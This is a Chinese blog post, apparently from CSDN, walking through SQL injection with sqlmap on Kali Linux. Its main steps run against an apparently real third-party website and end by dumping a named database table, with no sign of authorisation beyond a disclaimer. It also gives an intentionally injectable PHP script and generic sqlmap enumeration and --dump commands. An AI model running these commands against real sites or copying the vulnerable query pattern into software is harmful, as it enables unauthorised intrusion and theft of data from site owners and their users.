使用kali完成sql注入

本文介绍了如何使用Kali Linux进行SQL注入攻击的详细步骤,包括前期准备、使用sqlmap工具检测注入、爆库、查看数据库和表信息以及提取字段内容。请注意,该内容仅供学术参考,不得用于非法活动。

使用kali完成sql注入

本文仅用于学术参考分享,如有侵权,请联系作者删除,请勿随意对网站进行sql注入

前期准备

1.kali虚拟机(自带sql注入所需工具)
2.能够进行注入的网站

实验步骤

1.查看是否可以sql注入
sqlmap -u ‘http://www.slmm90.com.tw/news.php?id=408%20’ GET

在这里插入图片描述

2.爆库
sqlmap -u ‘http://www.slmm90.com.tw/news.php?id=408%20’ --dbs在这里插入图片描述

3.查看当前使用的是哪个库
sqlmap -u ‘http://www.slmm90.com.tw/news.php?id=408%20’ --current-db

在这里插入图片描述

4.查看当前users
sqlmap -u ‘http://www.slmm90.com.tw/news.php?id=408%20’ --users

在这里插入图片描述

5.列出当前数据库所有表
sqlmap -u ‘http://www.slmm90.com.tw/news.php?id=408%20’ -D bnbcom_unidatabase --tables
在这里插入图片描述

6.列出上面查出来的任意一个表的所有列
sqlmap -u ‘http://www.slmm90.com.tw/news.php?id=408%20’ -D bnbcom_unidatabase -T uni_room --columns
在这里插入图片描述

7.爆字段内容
sqlmap -u ‘http://www.slmm90.com.tw/news.php?id=408%20’ -D bnbcom_unidatabase -T uni_room --dump

在这里插入图片描述

### 使用PHP构建易受攻击的环境 先创建一个易受SQL注入攻击的PHP脚本,以下是一个简单示例: ```php <?php // 数据库连接信息 $servername = "localhost"; $username = "your_username"; $password = "your_password"; $dbname = "your_dbname"; // 创建连接 $conn = new mysqli($servername, $username, $password, $dbname); // 检查连接 if ($conn->connect_error) { die("连接失败: " . $conn->connect_error); } // 获取用户输入 $id = $_GET['id']; // 构造SQL查询 $sql = "SELECT * FROM users WHERE id = $id"; $result = $conn->query($sql); if ($result->num_rows > 0) { while($row = $result->fetch_assoc()) { echo "id: " . $row["id"]. " - Name: " . $row["name"]. "<br>"; } } else { echo "0 结果"; } $conn->close(); ?> ``` 这个脚本通过 `GET` 请求获取 `id` 参数,并直接将其拼接到SQL查询语句中,没有进行任何过滤和转义,存在SQL注入漏洞。 ### 使用Kali系统进行SQL注入测试 在Kali系统中,可以使用 `sqlmap` 工具进行SQL注入测试,以下是一些常见的用法: 1. **测试URL是否存在SQL注入漏洞**: ```bash sqlmap -u "http://example.com/script.php?id=1" ``` 如果需要携带 `cookie` 信息,可以使用 `--cookie` 参数,如: ```bash sqlmap -u "http://example.com/script.php?id=1" --cookie="security=low; PHPSESSID=n4tkop4ku1lbmsa4o6326vsv90" [^1] ``` 2. **获取数据库版本信息**: ```bash sqlmap -u "http://example.com/script.php?id=1" --banner ``` 3. **列出数据库中的所有数据库名**: ```bash sqlmap -u "http://example.com/script.php?id=1" --dbs ``` 4. **列出指定数据库中的所有表名**: ```bash sqlmap -u "http://example.com/script.php?id=1" -D your_database_name --tables ``` 5. **列出指定表中的所有字段名**: ```bash sqlmap -u "http://example.com/script.php?id=1" -D your_database_name -T your_table_name --columns ``` 6. **获取指定库指定表指定字段的值**: ```bash sqlmap -u http://example.com/script.php?id=46 -D your_database_name -T your_table_name -C column1,column2 --dump [^3] ``` ### 注意事项 进行SQL注入测试仅应在合法授权的安全测试环境中进行,在未经授权的情况下对他人的系统进行注入尝试是违法且不道德的行为。
评论 4
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
红包 添加红包
表情包 插入表情
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值